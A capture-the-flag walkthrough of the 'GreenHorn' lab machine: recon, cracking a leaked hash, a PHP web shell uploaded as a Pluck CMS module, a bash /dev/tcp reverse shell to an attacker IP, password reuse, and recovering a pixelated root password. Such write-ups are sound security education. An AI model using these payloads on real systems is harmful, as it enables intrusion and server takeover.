Enumeration

As usual, we start off with an nmap scan to get a lay of the land:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=656e4058977525ab; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=Lw2TDhbvsubK9OGfKHyYH7AdIKg6MTcyMTU0NTUwNTEyOTIyNDg4Mg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 21 Jul 2024 07:05:05 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=203da7314517fa63; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=9CXvzPPQFDbg3aBMp5JqrEdoKqY6MTcyMTU0NTUxMTcwMjI2MzAzNQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 21 Jul 2024 07:05:11 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=7/21%Time=669CB2E2%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,2A60,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=656e4058977525ab;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=Lw2TDhbvsubK9OGfKHyYH7AdIKg6MTcyMTU0NTUwNTEyOTIyNDg4Mg;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2021\x20Jul\x202024\x2007:05:05\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
SF:me-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>GreenHorn</title>\n\t<link\x
SF:20rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR
SF:3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6
SF:Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmh
SF:vcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLC
SF:JzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvY
SF:X")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Method\x20Not\x20All
SF:owed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0,
SF:\x20private,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_li
SF:ke_gitea=203da7314517fa63;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nS
SF:et-Cookie:\x20_csrf=9CXvzPPQFDbg3aBMp5JqrEdoKqY6MTcyMTU0NTUxMTcwMjI2MzA
SF:zNQ;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Fra
SF:me-Options:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2021\x20Jul\x202024\x2007:0
SF:5:11\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)

From the output, we know we have SSH available which is typical of a Linux web server and we have port 80 for a web site and some kind of website also on port 3000.

Looking at port 3000 first because I didn’t expect a web site there, I found a Gitea instance. Gitea is an open source Git server. It is publicly accessible at port 3000 and there is application source at /GreenAdmin/GreenHorn, found just by using the application.

Looking back at the site running on port 80 reveals that the source code found in the Gitea application is likely the source of this portal. This portal is a Pluck CMS powered web site. There aren’t too many files in this repository. Working through them, by looking for passwords and usernames, as this is a typical mistake developers make, reveals a file at /GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php that has a hash of a password. This hash is compared to during the login process. So if we can crack this hash, we know the password to log into the portal. The login portal on port 80, does not require a username.

Cracking the Hash

We can analyze the hash using the hashid tool.

hashid <hash>

Which tells us that it is most likely SHA-512:

[+] SHA-512
[+] Whirlpool
[+] Salsa10
[+] Salsa20
[+] SHA3-512
[+] Skein-512
[+] Skein-1024(512)

Cracking a SHA-512 is possible using hashcat and the rockyou password list:

hashcat -m 1700 -O <hash_file> /usr/share/wordlists/rockyou.txt

It’ll crack with a password that is approx. 13% of the way through the rockyou list.

Gaining a Foothold

With the password we have cracked, we can now login at http://greenhorn.htb/login.php. Additionally, knowing the Pluck CMS version of 4.7.18, we can research possible ways to exploit and we discover this https://www.exploit-db.com/exploits/51592

We don’t need to actually use this exploit though because the code tells us how simple it is to exploit. Firstly, we create a payload called exploit.php:

<?php system($_REQUEST['cmd']); ?>

And we zip this up:

zip exploit.zip exploit.php

Then we can navigate to http://greenhorn.htb/admin.php?action=installmodule and upload this as a module (zip file of the exploit) to the site. We can then test this by going to http://grenhorn.htb/data/modules/exploit/exploit.php?cmd=id and we see:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We now have code execution capabilities on the target. We can then get a reverse shell using one from PayloadsAllTheThings for bash:

bash -c 'exec bash -i &>/dev/tcp/10.10.14.55/4444 <&1'

One thing I noticed about this shell is that it is incredibly unstable and the connection may drop and the module will need to be re-uploaded each time. Maybe there is a cleanup script going on?

The easiest way I found to stabilize the shell was to quickly run:

python3 -c 'import pty;pty.spawn("/bin/bash");'

Privilege Escalation

Running ls -la /home gives us:

total 16
drwxr-xr-x  4 root   root   4096 Jun 20 06:36 .
drwxr-xr-x 20 root   root   4096 Jun 20 07:06 ..
drwxr-x---  2 git    git    4096 Jun 20 06:36 git
drwxr-xr-x  3 junior junior 4096 Jun 20 06:36 junior

This shows us two user home directories and we know root is also a user. We are currently the www-data user and we know a potential password so we can try to log into junior for example using su junior with our known password and we have success! We are now the junior user.

In juniors home directory, we have 2 files:

-rw-r----- 1 root   junior    33 Jul 28 08:39  user.txt
-rw-r----- 1 root   junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'

This is where you’d get the user flag. The other file is interesting. OpenVAS is a vulnerability scanner. I’ve never seen OpenVAS on a box before. That would be an interesting privilege escalation tactic if possible.

I downloaded the OpenVAS PDF back to my attack host to read it locally. The document contains:

Hello junior,
We have recently installed OpenVAS on our server to actively monitor and identify potential security
vulnerabilities. Currently, only the root user, represented by myself, has the authorization to execute
OpenVAS using the following command:
`sudo /usr/sbin/openvas`
Enter password: <some_pixelated_password>
As part of your familiarization with this tool, we encourage you to learn how to use OpenVAS
effectively. In the future, you will also have the capability to run OpenVAS by entering the same
command and providing your password when prompted.
Feel free to reach out if you have any questions or need further assistance.
Have a great week,
Mr. Green

So, unfortunately, I doubt OpenVAS is the way to privesc, and there is likely a way to get this password because it will be the password of the root user.

I enumerated the machine looking for stored passwords and other ways to privilege escalate but didn’t find anything. Out of desperation, I tried to work out whether reforming the original image is possible from pixelated data and there is a project for this: https://github.com/spipm/Depix

To get the image out of the PDF, I used a tool called pdfimages which is available from apt on Kali Linux:

pdfimages 'Using OpenVAS.pdf' pixelated

This produces a file called pixelated-000.ppm. This can then be used by depix in this command:

python3 depix.py -p pixelated-000.ppm -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png

This produces a file called output.png with a shitty but readable version of the root password. This is incredible painful because I kept thinking there were spaces in the password because the image quality is so bad. You may have to try several variations of the password, but just a hint because of how tedious this is: despite the appearance, there are no spaces in this password and no capital letters.

We can then su root with the found password and we have successfully compromised the machine.